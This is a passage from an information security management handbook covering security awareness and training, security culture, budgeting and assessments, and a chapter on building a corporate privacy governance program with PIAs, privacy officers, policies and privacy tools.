Achieving Better Security by Leveraging More People and Processes and Less Technology So, how exactly does an organization improve its security posture by focusing more on people and processes and relying less on technology? This can be accomplished in various ways, such as through instilling security awareness in all employees, providing security-specific training at regular intervals, improving the security culture within the organization, and constantly reinforcing and rewarding employees who promote security. Security awareness and training are usually lumped together in one category, but they are in fact quite different from one another. They should be approached by two different methods to ensure that the appropriate security-related information is disseminated properly to all employees within the organization. Security awareness is the act of making employees aware of security-related precautions that must be taken and making them more conscious of how security relates to their day-to-day life. This can be in the form of alerting them to new viruses being released, emphasizing the importance of the latest patches, or even discussing new policies, processes, or procedures that relate to them and add to their responsibilities. Security awareness can be disseminated to employees through weekly newsletters, emails, posters, or even a booth set up in a common area (e.g., the cafeteria) once a month. Although these are all simple measures, the results can be quite beneficial to the organization as a whole with regard to how employees will react when something happens that they have been made aware of. For example, employees are less likely to get caught up in a phishing scam if a poster in the hallway has warned them about phishing and told them what to do if they get such e-mails, as opposed to employees who are not aware of phishing and take phishing e-mails seriously. Security-related training (or, simply put, security training) involves getting the employees’ direct attention and providing training to them for a specific period of time and only on security. It is very important not to mix orientation training or other training programs with the security training. This should be a time when only security-related topics are discussed with the employees. The training can be provided in the form of seminars, either on or off site or through Web-based seminars so employees can attend the training without even leaving their desks. The latter method is not always as effective as the first, because employees most likely will be distracted and not able to give the training their undivided attention. It is best to separate employees from their duties during training. Giving the employees a quiz after the training is over and asking them to complete a survey regarding its effectiveness are also considered good practices. The quiz and survey indicate whether or not the training was clear and concise and the employees clearly understood everything explained to them. Although security awareness should occur on a regular basis, it is not feasible or cost effective for an organization to provide dedicated security training on a monthly basis. Instead, security awareness may only be conducted once for new hires and then on an annual or semiannual basis. The topics covered in security training can range from the organization’s recently updated policies and procedures to new processes that have been put in place (e.g., patch management, incident management) since the last training was conducted. A syllabus that includes the topics covered should be developed well in advance, along with materials to hand out to the participants. Security awareness and security training can be performed by an internal team of individuals or by a third party. Each approach has its own pros and cons. In some cases, the security group within the
248
Information Security Management Handbook
organization has a clear understanding of how to provide the necessary information to employees. The security group may also have the time to create the training program as well as present it. In other cases, employees may hold the information in higher regard if it comes from a third party. The third party should have a clear understanding of the organization’s security posture as well as its policies and procedures. They should be well aware of what the organization is already doing to train its employees in security. The security group may be too deeply involved in day-to-day operational tasks to create the necessary materials and conduct the training. The decision of whether to utilize in-house or third-party personnel depends on the particular organization and should be considered carefully prior to beginning a training program. As an alternative, training can also be divided between internal employees and a third party. Creating a security awareness program that consists of newsletters, flyers, posters, etc. might be done internally, but then a third party could be brought in to conduct the security training. Regardless of the decision, the message should be consistent and performed on a regular basis. How employees regard the security group differs from one organization to the next, but it rather consistently is perceived as a road block to productivity. In the eyes of regular users, the security group is the cause of a slew of red-tape and bureaucracy, which results in more work when something new is to be deployed within an organization. Over time, the security group can lose respectability, resulting in the security culture of the organization being perceived as more negative than positive. This is an interesting concept, because the security group is there to protect the organization from threats and risks on a daily basis, but the rest of the organization views them as road blocks to productivity. This situation must be changed. The employees and security group should work together, not only to improve the security posture but also to maintain it on a daily basis. If there is no clear communication between them, then an understanding of concerns, needs, and even frustrations is not shared. For example, when the security group announces that a personal firewall must be installed on all desktops, all the employees may see is a hindrance to their productivity. The NOC may see a Pandora’s box of numerous help-desk calls and a loss in productivity because of this new piece of software being installed on the systems. Some enterprising souls may already be thinking of how to disable it so it does not interfere with their job. Without even having the software installed already a negative attitude has formed, not only about the personal firewall software but also about the security group for forcing this new piece of software onto their systems. If unity exists between the employees and the security group such that a common security culture has been created, then the employees would understand and fully support this new addition to their desktops. Improving the security culture within the organization is obviously a big hurdle to overcome. Such hostility is usually a deeply ingrained feeling, one that has been building for a long period of time. To change the way employees think requires a strong plan, a determined security group, and, of course, executive management support. The purpose of the security awareness program is to provide constant reinforcement on how security is all around us and what we should be conscious of on a daily basis. Without this constant reinforcement, employees are more likely to let their guard down, thereby making the organization more at risk. Implementing a reward system or program is one way to get the employees more involved or more educated in security. For example, if an employee notices an individual who is not an employee propping open the door of the data center and rolling out equipment, would that employee stop to ask that person what he is doing, or would the employee offer to hold the door open? Social engineering tests at various organizations have revealed that typically it is the employees who are the most willing to give away information, whether they think they are being helpful or not. It can be very easy to get through a locked door simply by telling the next person that you forgot your badge or only need to get in for a minute. If employees are regularly trained on what to look for and what to do if something suspicious is happening, they are less likely to give away the keys to the kingdom, even to someone who looks innocent enough. Rewards can be given through multiple avenues. If at the end of the security training a short quiz is given, perhaps the people with the highest scores could get a gift certificate to a local restaurant for lunch or some other type of gift card. Treasure hunts also work well in encouraging security awareness and can be done easily on a company’s intranet Web site. The treasure hunt can take employees through numerous policies and procedures by asking questions that have to be answered before moving on to the next part.
People, Processes, and Technology: A Winning Combination
249
The first group of employees to complete the treasure hunt can be rewarded in some manner. Although this is a simple gesture, it can go a long way toward improving the security culture and security posture within the organization. Organizations can determine what motivations work best in their environment and put those into place to reward the employees. One of the most challenging aspects of maintaining security within an organization is accountability. It can be difficult to hold an employee accountable for his or her actions, although doing so depends on the country in which the employee is located. Typically, sanction policies are added to the company’s security policy and even to other policies documented by the organization. These sanction policies are becoming less harsh, as they have to be worded in a specific manner as dictated by the human resources and legal departments. Employees cannot simply be fired for downloading a malicious piece of software onto their system which in turn brings down the entire network. Even today, in some cases, employees caught downloading pornographic material to their desktops may be caught doing so three times before being terminated. In Europe, these practices are even more difficult, as organizations cannot associate the name of the employee with any of the data they are collecting; therefore, they cannot hold an employee accountable because they do not have a record of it occurring in the first place. This makes it even more difficult to improve the security posture within the organization, especially if the security culture is not in existence. Employees know they cannot be terminated or reprimanded in any way, regardless of the security breach that occurs because of their actions. This points out again why improving the security culture will inherently improve the security posture, thereby making the level of accountability more irrelevant. In other words, an organization will not need to worry so much about holding employees accountable if it is already taking the necessary steps to ensure that employees are not introducing any new threats or risks to the organization.
Determining How To Improve the Overall Security Posture Within most organizations today, a stronger stance is being taken on security and protecting the organization’s assets. In most cases, a yearly plan is developed that describes what the organization will do to improve its security posture. This is typically called a security program or security plan. In some cases, a security program office (SPO) may be put in place to make sure that aspects of the program are being completed as documented (and budgeted for). The security program is usually agreed upon by executive management but is developed and carried out by the security manager within the organization. The strategic objectives of the program for the coming year can come from upper management, but, again, they must align with the security manager’s needs from the security group’s perspective. If executive management recognizes a need to implement a security technology that is going to require a great deal of time and resources, the security manager must be able to communicate that the current headcount and workload will not support such a large undertaking. In many instances, business consultants work closely with executive management to ensure that the needs of the organization as well as the appropriate security posture are met based on the plan they develop. The business consultant can work with the executive management team as well as the security manager and their team to ensure that the plan aligns with the agendas of both groups. Another area in security receiving a lot of attention lately is return on security investment (ROSI). Showing a return on investment (ROI) has been a requirement within organizations for years, but now organizations must show that security investments have achieved the intended results. Security is obviously very difficult to measure in terms of dollars, as the threats and risks facing organizations are changing on a daily basis; it is very difficult to measure how each one will impact the organization in terms of cost and how implementing a security mechanism can decrease this cost. This is even truer when it comes to processes. It can be difficult to measure the costs associated with dedicating security personnel to developing a process to reduce the risk to an organization. The only obvious costs associated with this are the employees’ time and expenses. If, however, the process reduces the impact of nonpatched systems on the environment, this can yield a high ROSI.
250
Information Security Management Handbook
Conclusion Organizations can take several steps to ensure that they are using a winning combination of people, processes, and technology. Some are simple steps, yet others require lengthy planning and preparation. The result of this due diligence will be apparent when the organization has improved its security posture and the risks facing the organization decrease. Careful planning and preparation should be taken with regard to security, not only by executive management but also by the security group. When budgets are created is when security groups typically determine what they plan to do for the year. When this time comes, it is best to take all the necessary steps to ensure that what is budgeted for meets the expectations of the executives and the security posture of the organization. One recommendation for preparing for this budget planning is to complete a thorough security assessment of the state of the organization today. Although this should be done on a yearly basis, completing it before the yearly budget is created will ensure that what needs to be addressed is actually going to be addressed over the course of the following year. Many consulting companies perform these assessments today and are the recommended method for completion. Bringing in a third party to assess an organization can provide a more accurate view of the current state of the company. If the security group is performing the assessment, the tendency to be biased can occur, thereby skewing the results of the assessment. The security group may also be so familiar with the organization that they are not able to accurately assess the current state, whereas a third party would gather all the necessary information themselves and accurately assess the current state of security. The results of the assessment can then be used to plan for the course of action for the next year. Although this assessment should not be the only source of information for creating the yearly security budget, it should be one of the inputs used. Planning is another important step toward creating a winning combination within an organization. Setting achievable goals and expectations during the planning process can result in much success for the security group. If unachievable goals are set, then the security group is doomed to fail or exceed their budget. This can have negative results with regard to perceptions of not only the security group but also the security culture. The security group, along with executive management, should document the plan and budget expectations for the upcoming year. Having the plan documented and referenced throughout the year can lead to a successful year for the security group. If the plan states that the executive management team will support security-based training sessions, then the executive management team can then be held accountable for ensuring that they take place and they should make themselves available to state their backing of this session, perhaps even through opening comments at the sessions themselves. The documented plan that has been agreed to by executive management and the security group can also be used to assess and measure the success of the security group and the security posture of the organization. If the plan, when fully executed, resulted in incidents of viruses being down by 70% for that year, indicating that the anti-virus awareness program documented in the plan was a success, then it should be continued for the following year. If a security group can measure the success of the plan on a yearly basis, it will aid them in obtaining additional monies on a yearly basis. The security assessment, which documents the state of the organization before the plan was built and executed, can also be used to measure the success of the plan. When the next assessment is completed (again, before the new budget is created), it can demonstrate the improvements made during the previous year and set the goals for the next. This is a repeatable process that can be used yearly to ensure that the organization is using the winning combination of people, processes, and technology to improve the security posture of the organization.
21 Building an Effective Privacy Program Rebecca Herold
Privacy Governance Privacy and trust are essential to maintaining good relationships with customers, employees, and business partners. It is also necessary to address privacy issues to comply with a growing number of privacy regulations worldwide. Privacy encompasses how business must be conducted, the communications made with customers and consumers, and the technology that enables business processes. Addressing privacy touches all facets of an organization, including business operations; Web sites and services; back-end systems and databases; communications with third parties, customers, and service providers; and legacy systems. An effective privacy governance program will not only make an enterprise’s customers happier, but it will also mitigate its exposure to regulatory noncompliance, lawsuits, bad publicity, and government investigations. This chapter discusses the issues to address when building a privacy governance program.
Why Is a Privacy Governance Program Necessary? An increasing number of threats challenge businesses every day to ensure that appropriate safeguards are implemented to preserve business, customer, and employee privacy. These threats include identity theft, new technology weaknesses, disgruntled employees, information thieves, carelessness, lack of training, and criminal activity. Lack of adequate protection against these threats not only puts personal information at risk but also exposes businesses to potential lawsuits, criminal prosecution, and civil actions. Growing numbers of laws and regulations — such as the Health Insurance Portability and Accountability Act (HIPAA), the Gramm–Leach–Bliley Act (GLBA), the Fair Credit Reporting Act (FCRA), the Children’s Online Privacy Protection Act (COPPA), and the Telephone Consumer Protection Act (TCPA), as well as various international laws, such as the European Union’s Data Protection Directive and Canada’s Personal Information Protection and Electronic Documents Act (PIPEDA) — make it a business necessity to establish a privacy governance program in order to effectively protect against threats as well as comply with law and regulatory privacy and security requirements.
Know What To Protect An effective privacy governance program will help identify what to protect. The program must identify the personal information an organization handles and processes, determine the risks to that information, and then implement controls to reduce those risks. Very generally, personally identifiable information
251
252
Information Security Management Handbook
(PII) is any type of information that can identify or be directly linked to an individual. The most commonly considered PII includes name, address, Social Security number, telephone number, and birth date; however, laws and regulations consider broader ranges of information as being PII if it can be tied to an individual. Some of these include such items as: • • • • • •
Health information Financial information Political information Internet protocol (IP) addresses Serial numbers for network devices Organization memberships
Global generally accepted global Fair Information Practices (FIPs) from the Organization for Economic Cooperation and Development (OECD) recommend that PII be handled in ways that give the person to whom the information applies specific rights over how that information is used. The FIPs generally recommend that organizations: • Give notice that PII is being collected. • Provide choice to individuals to opt-in to providing PII, in addition to allowing such information to be shared with others. • Establish procedures to give individuals access to see the PII that organizations have about them. • Implement security controls to protect the information. • Enforce privacy policies and procedures. • Restrict access to the information to only those people who need it to perform their business activities. • Limit the use of PII to only those purposes for which it was collected.
Protect Your Business; Avoid Privacy Mistakes Implementation of an effective privacy governance program will help to protect a business from experiencing incidents that could have substantial impact on its revenue, brand, and image. As commonly cited examples, the following organizations experienced privacy-related incidents that resulted in significant financial and public relations impacts: • Nationwide Mortgage Group GLB violations. On March 4, 2005, the Federal Trade Commission (FTC) presented Nationwide Mortgage Group, Inc., with a consent order requiring them to retain an independent professional to certify that its security program met the standards listed in the order within 180 days, and then once every other year for 10 years. The November 2004 FTC administrative complaint alleged that Nationwide Mortgage failed to train employees on information security issues; oversee loan holders’ handling of customer information; or monitor its computer network for vulnerabilities. The FTC complaint also cited the company for violating the GLB privacy rule by failing to provide required privacy notices to consumers that explain how their personal information may be used or disclosed. • Bank of America lost customer information tapes. On February 25, 2005, Bank of America began informing General Services Administration (GSA) SmartPay charge cardholders of the disappearance of computer tapes during transfer to a backup data center on December 22, 2004. The missing tapes contained customer and account information for around 1.2 million government charge cardholders. • ChoicePoint customer privacy breach. In February, 2005, ChoicePoint sent 145,000 letters to customers notifying them that they detected in October of 2004 that personal information had been accessed through fraudulent means and used for identity theft crimes.
Building an Effective Privacy Program
253
• Eli Lilly Prozac e-mail incident. In January 2002, an Eli Lilly employee sent a message to 669 Prozac users who had voluntarily signed up for a prescription reminder service. The message inadvertently contained all the recipients’ e-mail addresses. The FTC settlement included annual audits for at least the next 20 years, in addition to state fines. • Microsoft Passport. In August 2002, Microsoft agreed to settle FTC charges regarding the privacy and security of personal information collected from consumers through its Passport Web services. As part of the settlement, Microsoft must implement a comprehensive information security program for Passport and similar services. Each subsequent violation of the order could result in a civil penalty of $11,000. • DoubleClick. A series of class action lawsuits were brought against DoubleClick for violation of privacy relating to the company’s cookie tracking practices. In January 2000, DoubleClick’s stock was about $135 per share. Following the privacy lawsuits around six months later, DoubleClick’s share price had dropped to the mid-$30s. On top of this was the settlement, which included implementing privacy protections, paying all legal fees, and paying up to $1.8 million. • Ziff Davis. Because of how one of their Web pages was designed, a computer file of approximately 12,000 subscription requests could be accessed by anyone on the Internet. As a result, some subscribers incurred fraudulent credit card charges. Under the terms of the August 2002 settlement, Ziff Davis was told to pay $500 to each U.S. consumer who provided credit card information in the online promotion, had to implement multiple security and privacy practices and keep them updated, and was ordered to pay the three states a total of $100,000 to cover investigative costs. • Eckerd Drug. Eckerd had a practice of having customers sign a form that not only acknowledged receipt of a prescription but also authorized the store to release prescription information to Eckerd Corporation for future marketing purposes. The form apparently did not adequately inform customers that they were authorizing the commercial use of their personal medical information. In July 2002, Florida reached a settlement that included requiring Eckerd’s to change their marketing practices, implement privacy protections, and fund a $1 million ethics chair at the Florida A&M School of Pharmacy. The fact that these companies are widely known and are associated with poor privacy practices, even though they may have subsequently implemented strong privacy governance programs, demonstrates the lasting effect that a privacy incident can have on an organization’s reputation. Waiting until after an incident occurs to implement a privacy governance program will have a considerably greater business impact and cause more damage than maintaining due diligence to prevent such incidents from occurring in the first place. Consider the other business impacts and fallout that could happen from privacy and security incidents: • • • • • • • • • • •
Dropped stock values Lost customers Negative press Tarnished brand name Resources diverted to mitigate impacts Paying for ongoing credit reports for impacted customers Increased staff necessary Costs for mailings, phones calls, news releases Mounting opportunity costs Marketing, public relations, and other staff taken away from planned projects Managers and lawyers spending their time mitigating the impacts
254
Information Security Management Handbook
Building a Privacy Governance Program Know Your Business To effectively build a privacy governance program, it is necessary to know your business. The program must support the organization’s business processes, goals, and objectives. You must understand the organization’s environment and its: • • • •
Consumers and customers Businesses, services and products Laws and regulations (federal, state, and international) Hot topics and trends
The organization must be thoroughly understood, particularly with regard to how the business works now as well as its goals and planned changes for the future. It is necessary to identify the organization’s: • • • •
• • • •
Business model and brand Business goals and strategies Business partners (who they are and their information handling practices) Information handling practices: Data collection — What do you collect, from where, from whom, and how often? Data sharing — With whom do you share information, and how? Handling practices for online versus offline information Customer and consumer needs Opportunities to leverage its brand with its privacy protection efforts Practices for using information within communications, technology, and partner initiatives
Perform Privacy Impact Assessments Most international laws include most, if not all, of the OECD FIP areas. Performing privacy impact assessments (PIAs) around these FIPs will allow an organization to identify gaps in its business privacy practices and will provide much insight for where the organization may be out of compliance with applicable laws and regulations. PIAs should analyze and describe: • Personal information that is collected by the organization — type and description of each piece of information and the source of the information • The purpose for which the information was collected, such as to determine program eligibility or collect product registration information • The intended use of the information collected, such as to verify existing data or keep track of customers who have purchased specific drugs • How the information is collected, secured, and used within the organization and how it is shared with third parties An organization should perform a PIA when it establishes a privacy governance program, as well as when other significant organizational milestones occur, such as: • • • • • • •
Required by laws and regulations (such as the E-Government Act) When a system change could create privacy risks In an acquisition, merger, or divestiture When centralizing databases When adding pages or capabilities to the Web site When changing privacy policies When any other significant information handling changes occur
Building an Effective Privacy Program
255
If possible, PIAs should be mandatory. A privacy manager should be designated for each project, and teams and feedback should include information technology (IT), business process, and compliance expertise. The PIA results and resulting mitigation plan must be approved prior to continuing the project. When reporting the findings, conclusions, and recommendations within the PIA report, these components should be included: • • • •
Data flows, including public access (as well as third-party access) to PII Objective review and analysis of data flows Plans for integrating PIAs into the project life cycle Explanations for why alternative systems were not chosen
Developing a Privacy Program Build a privacy governance program with: • People — Establish a clear privacy leader who is accountable and has visible executive support. Create a governing or oversight board composed of members throughout your organization to ensure you are effectively incorporating privacy throughout all areas. • Policies — Implement and communicate a clear privacy policy built around the OECD principles and the business environment, and ensure compliance. • Processes — Establish access, authorization, process, and technical controls to support privacy policies. • Awareness and training — Educate all personnel and business partners on privacy requirements. Use information obtained from the PIA and from speaking with the departmental contacts to build a privacy governance framework: • Establish a clear privacy leader who is accountable and has visible executive support. • Implement and communicate a clear privacy policy built around OECD principles, and ensure compliance. • Educate all personnel and business partners on privacy requirements. • Establish access, authorization, process, and technical controls to support privacy policies. • Continuously monitor compliance, new laws and regulations, and update programs as necessary. • Define and document the PII that the organization handles and map the data flows. • Establish privacy incident response procedures. • Report on the privacy environment regularly to board and oversight members.
Establish Privacy Leadership The Privacy Official Establish a privacy officer role, often called the chief privacy officer or corporate privacy officer (CPO), to establish accountability and authority for privacy activities within the organization. Give the CPO responsibility for all aspects of corporate privacy and the authority to implement changes and administer sanctions. Position this role within the company to review and have authority for all operational areas. The CPO position should be filled with a person who understands the “big picture” and has a strategic view of today’s operations and tomorrow’s planning. The privacy activities must be institutionalized as a part of the decision process for any activities involving PII. The position should have its own budget and, very importantly, should have strong, visible backing from the chief executive officer (CEO) and board of directors. The successful CPO will: • Build a privacy team representing all areas of the organization. • Understand the organization’s processes and technologies.
256
Information Security Management Handbook
• Know that no magic technology solution exists for privacy issues. • Know that not one, generic, magic privacy policy will comply with all privacy-related laws and regulations. • Understand that all areas of the organization must participate in establishing a successful privacy protection environment. • Constantly be on the lookout for new privacy threats and challenges. • Obtain a budget to adequately support the privacy initiatives. • Work with vendors and third parties to ensure that they are adequately addressing privacy issues. • Educate the organization, customers, and third parties about privacy requirements and issues.
The Privacy Team Identify and involve key people to be on the privacy oversight council. Positions to include, as applicable to each organization, include: • • • • • • • • • • • • • • • •
Chief privacy officer (CPO) Chief information security officer Chief technology officer Director, business development Director, advertising and marketing Director, Internet services and channels Director, customer relationship management (CRM) Manager, Internet technology Inspector, computer crimes and commerce Director, human resources policies and programs Legal counsel Business unit leaders Director, physical security Director, call centers Director, internal audit Director, risk management
Establish Privacy Policies and Procedures Post an appropriate Web site privacy policy. Not having a Web site privacy policy can raise red flags. The organization may be subject to specific laws, including broadly interpreted state consumer protection statutes in the United States or elsewhere, that require it to provide notice of its information practices. Develop privacy policies and procedures to support the organization’s mission, goals, and activities. Assess current policies and identify gaps and inconsistencies with applicable laws, regulations, and industry standards practices. When establishing privacy policies and procedures, it is important to: • Draft a unified privacy policy that includes all key business services, products, and operating procedures. • Identify obstacles to implementation and know where the organization is out of compliance with portions of the policy. • Prioritize implementation to address the most significant exposures first. • Limit the scope of the policy to clearly indicate to which of the organization’s practices (online only, online and offline, business partners, and so on) the policy applies. • Identify if and how the organization uses third parties to run banner ads or collect information (those who share information with third parties will be judged by the company they keep). • Determine if your site uses cookies, Internet tags, Web beacons, or other tracking capabilities; if so, establish procedures for their use and address these within the policies.
Building an Effective Privacy Program
257
• Consider the security promises made within the policy. Are procedures in place to keep those promises? • Consider whether or not the organization allows customers and consumers to opt-in to additional communications from your organization. • Determine whether the site and policy address children’s privacy rights and legal requirements. • Include all components necessary to comply with applicable laws. • Determine if any encryption restrictions exist. • Determine what use (if any) is made of encryption, steganography, and other types of privacyenhancing tools within the organization. • Evaluate whether the privacy policy is too stringent or needlessly constraining. • Determine whether or not the organization’s personnel are aware of their privacy responsibilities for handling information. • Make the privacy policy easy to find when it is posted to the Web site. • Communicate and promote the privacy policy internally in employee and partner communications and training sessions. Be sure everyone understands the policy and follows it; otherwise, it will likely fail and could put the organization in legal jeopardy. • Promote the privacy policy with key stakeholders, including customers, investors, vendors, contributors, and policymakers. • Update it as necessary to stay current with changes in the organization’s business and the law. • Most importantly, be sure the privacy policy reflects actual practice. It is also necessary to address privacy within the organizational policies. What should be adopted for internal privacy policies depends on the business and a privacy impact assessment of what is appropriate (and legal) for the situation. It is important to consider all the same issues for the organization’s internal policies as listed above for the Web site privacy policy. Typically, the organization’s policies should include some statements similar to the following: • All corporate networks, associated components, and computer systems are for business use only. • All network activity will be monitored. • No personal information may be published or disclosed without express permission or information security (or CPO, etc.) authorization. • All items within corporate facilities are subject to search at any time without advance notice. • The organization will only collect and store information necessary to fulfill business obligations. • Only personnel with a business need to know will have access to personnel files.
Educate All Personnel and Business Partners on Privacy Requirements Institutionalize your privacy protection measures. Implement a privacy training and awareness program that will instill a culture of privacy throughout the corporation — from the highest positions within the company all the way down to positions that may mistakenly be assumed not to need to know about privacy. A privacy culture starts from the top down. Privacy compliance starts from the bottom up. Effective training and awareness are the keys to success. This is demonstrated by the requirement to implement privacy education within privacy-related lawsuit settlements. Each of the previously discussed privacy actions included education as part of the settlement: • Microsoft must implement employee and management privacy training. • Ziff Davis must train personnel in privacy issues. • DoubleClick must educate its clients in technical and business practices that promote users’ privacy. • Eli Lilly must implement privacy training in each relevant area of its operations.
258
Information Security Management Handbook
Document the privacy program. Make it clear that the purpose is to create an executable plan to communicate with employees and other individuals who handle sensitive or confidential customer information. Document your goal, which will likely be something similar to: “The goal of the program is to heighten awareness of privacy issues, change attitudes, influence behavior, help ensure privacy policy and regulatory compliance, and help reduce the probability of privacy incidents being escalated beyond customer call centers.” Clearly describe the organization’s objectives; for example: • “Provide an educational architecture framework that supports PII awareness and training.” • “Establish a deployment strategy.” • “Enable personnel with the information necessary to incorporate correct privacy actions within their job functions.”
Privacy Education Strategy Create a privacy education strategy. At a high level, the privacy education roadmap should include the following components: • • • • • • • • • • •
Define the privacy message. Document the desired tactical outcomes. Obtain executive support. Identify privacy advocate champions. Identify awareness and training groups. Design and develop training and awareness materials. Establish schedules for privacy training and awareness delivery. Launch privacy communications. Deliver training. Deliver awareness communications and events. Evaluate the effectiveness of the education efforts and update appropriately.
The privacy education program must remain current. When policies, laws, and technologies change, employees must be notified and told how these changes affect their handling of customer information. It may be necessary to establish a way to deliver immediate information to specific target groups. The awareness program must make it easy for personnel to get the information necessary for customer privacy issues, and the information must be easy to understand. For a complete detailed resource for managing an education program, see Managing an Information Security and Privacy Training and Awareness Program (R. Herold, Auerbach Publications, 2005).
Establish Access, Authorization, Process, and Technical Controls To Support Privacy Policies Organizations must build privacy into their business processes and applications. They can use the OECD principles and results of their PIAs as guides to establish privacy standards, guidelines, and processes that are best suited for each particular organization’s business environment. Privacy must be a concern every step of the way during the systems development life cycle. Create detailed privacy procedures for developers to follow. Perform a privacy needs assessment for the project to effectively limit the scope. Incorporate a detailed PII design and inventory into the project plan. Test privacy controls during acceptance testing, and ensure they are all working correctly before moving the application or process into business production. Create detailed privacy procedures and guidelines for the organization’s process, systems, and applications development team to use. Include within these procedures: • Privacy policies checklists • Acceptable purposes for PII collection and sharing • Code samples and Platform for Privacy Preferences Project (P3P) templates
Building an Effective Privacy Program
• • • •
259
Examples of privacy processes Lists of related privacy issues Terminology definitions (e.g., PII, external, application, third party, and so on) Privacy enhancing technologies (PETs) and descriptions for how they should be used
When integrating privacy into the development process: • • • • • • •
Create a plan. Create a privacy process flowchart. Identify necessary privacy documents. Consider multinational issues. Document the privacy specifications. Perform a privacy review. Perform an independent PIA.
Privacy Tools Use privacy tools appropriately and most effectively for your business processes. A sampling of the tools you can use include the following: • Encryption — Basically, encryption is scrambling information. • Steganography — Otherwise known as “covered writing,” it is hiding information within other types of information. • Platform for Privacy Preferences Project (P3P) — This is a project developed by the World Wide Web Consortium that makes Web site privacy policies available in an automated and structured way. • Access control systems — Software is used to control access to files, records, etc.; examples include access control lists (ACLs), rule-based systems, and role-based systems. • Privacy seals for Web sites — This function reassures Web site visitors with regard to their privacy. Visitors to the Web site can find out using the seals what the site will do with personal data obtained and how they will disclose it. Examples of Web seals include those offered by TRUSTe, BBBOnLine, and Privacy Bot. • Blind signatures — Patented by David Chaum and used by his company DigiCash (filed for bankruptcy in November 1998), blind signatures are used in voting and electronic payment systems to allow transactions to be authenticated without revealing the identity of the person behind them; now used by eCash, SureVote, and others. • Biometrics — Biometrics can be used as a person’s private encryption key and also in conjunction with access control systems. Biometric tools include such things as fingerprints, retinal scans, hand geometry, facial features, voice verification, signatures, and keystroke characteristics. Besides being used to enhance privacy, they can also be used to invade privacy. • Firewalls — Firewalls keep unauthorized network users away from confidential information, can segment confidential servers and networks from rest of network, and can utilize intrusion detection. • Pseudonymous and anonymous systems — Users can be assigned pseudonym IDs or anonymous IDs to protect their identities. Pseudonyms hide true identities; they can be assigned to customers to use to fill out confidential forms and to ensure that only those authorized to do so fill out the form, but still exclude others. Anonymous systems hide both true and fictional identities (like sending a letter with no return address). • Trusted sender stamps — A cryptographically secure way for consumers, Internet Service Providers (ISPs), spam filters, and e-mail clients to distinguish wanted and trusted e-mail from spam. Currently only offered by Postiva and certified by TRUSTe • Enterprise Privacy Authorization Language (EPAL) — EPAL is an XML-based programming language that allows developers to build policy enforcement directly into enterprise applications. It builds on current P3P privacy specifications that provide privacy controls for information passed between business applications and consumers with browsers.
260
Information Security Management Handbook
• Anti-spam tools — This type of software is used to reduce the amount of spam, otherwise known as unsolicited commercial e-mail (UCE). ISPs often provide anti-spam tools. Bayesian filters can be used as a type of spam filter (for example, see http://crm114.sourceforge.net). • Pop-up blockers — Pop-up ads typically open up a separate browser window when a user is visiting or leaving an Internet site. Pop-up blockers try to prevent these ads. Many different and free popup blockers are available, such as Stopzilla, PopSwat, AdShield, and Popup BeGone.
Understand the Impact of Security and Privacy-Related Laws on Business A good program should continuously monitor compliance and new laws and regulations and update programs as necessary. The number of laws and regulations that govern how personal information must be handled continues to grow worldwide. For example, the EU Data Protection law impacts the activities of any office located outside the European Union that receives, from an entity in the European Union, any information considered as personal information. These restrictions result from the 1995 EU Data Protection Directive, which provides detailed requirements regarding the treatment of personal data, and which requires each of the 25 EU Member States to enact national legislation to conform its law to those requirements. Organizations and the personnel handling the personal information that do business in EU countries must understand and comply with the requirements and laws. As another example, California SB 1386 became law on July 1, 2003, and requires all companies that do business in California or maintain information about California residents in computerized formats to promptly notify through one of four possible ways each of their California customers in the event a security breach occurs that involves improper access to the resident’s unencrypted personally identifiable information. SB 1386 authorizes any person injured by a violation of this statute to institute a civil action to recover damages. The statute also authorizes mandates against businesses that violate or propose to violate the statute, so a court may force a business to disclose a breach and possibly discontinue business until evidence is provided that the breach has been addressed. In addition to legal and monetary penalties, additional impact resulting from a security breach and SB 1386 noncompliance is negative publicity and lost business. Organizations have been impacted by SB1386 and have had to use significant human and financial resources to comply with the law following security breaches. For example: • March 2005 — As a result of the customer information fraud incident described earlier, ChoicePoint’s common stock dropped from a high of $47.95 per share to $37.65 per share on March 4, 2005. Also on March 4, 2005, ChoicePoint announced it would discontinue sales of consumer information to small businesses, which they indicated will cost them $15 to $20 million in revenue. • March 2004 — Texas-based Web site hosting company Allegiance Telecom, Inc., and two of its subsidiaries reportedly sent letters to more than 4000 customers in the first 2 weeks of the month to notify them of two computer security breaches that may have involved account or customer information in processing facilities in Boston to comply with SB 1386. Although the law requires notification of California customers only, the company sent the letters to customers both within and outside California. • February 11, 2004 — The California Employment Development Department reportedly sent letters to approximately 55,000 household employees after a hacker accessed a department server containing workers’ private information. It appeared the hacker primarily used the server to send spam. The extent of the hacker’s access to the private information could not be determined. • December 30, 2003 — A laptop computer, owned by United Blood Services and containing personal information on 38,000 California blood donors, was reportedly stolen from a repair shop in Scottsdale, AZ. Notices were mailed February 9, 2004. • November 15, 2003 — Wells Fargo Bank reportedly sent letters to over 200,000 customers after a laptop containing confidential information, including names, addresses, Social Security numbers,
Building an Effective Privacy Program
261
and personal line of credit account numbers, was stolen. The bank reportedly has changed account numbers, is monitoring the accounts, and is paying the one-year membership cost of a credit monitoring service for affected customers. In addition to mailing the letters, Wells Fargo also provided a toll-free number to call for additional information and offered a $100,000 reward for information leading to the thief ’s arrest. Wells Fargo reportedly had notification procedures in place to comply with SB 1386 when the breach occurred.
Define and Document the PII the Organization Handles and Map the Data Flows Before an organization can have an effective privacy governance program, it must know what PII it handles and where all the PII comes into the organization, who within the organization touches the PII, and where the PII leaves the organization to be accessed by third parties or to be disposed of. To know this, it is necessary to discover and document the flow of PII within the organization. This task includes establishing and maintaining a PII inventory to: • • • •
Perform an effective PIA. Track and organize PII within the organization. Analyze the current privacy compliance activities. Develop additional privacy compliance procedures as necessary.
Key areas to be addressed, beyond the business units, include information technology, human resources, marketing, customer support, and vendors. When identifying the PII for the inventory, be sure to survey the entire organization. No doubt about it, it will be a large task to initially establish the inventory. If the organization lacks the staff and expertise in-house to do it, it should determine where it can get help from outside the company. Building the foundation of the PII inventory is based on the following tasks: • • • • • • • • • • • • • • • • • •
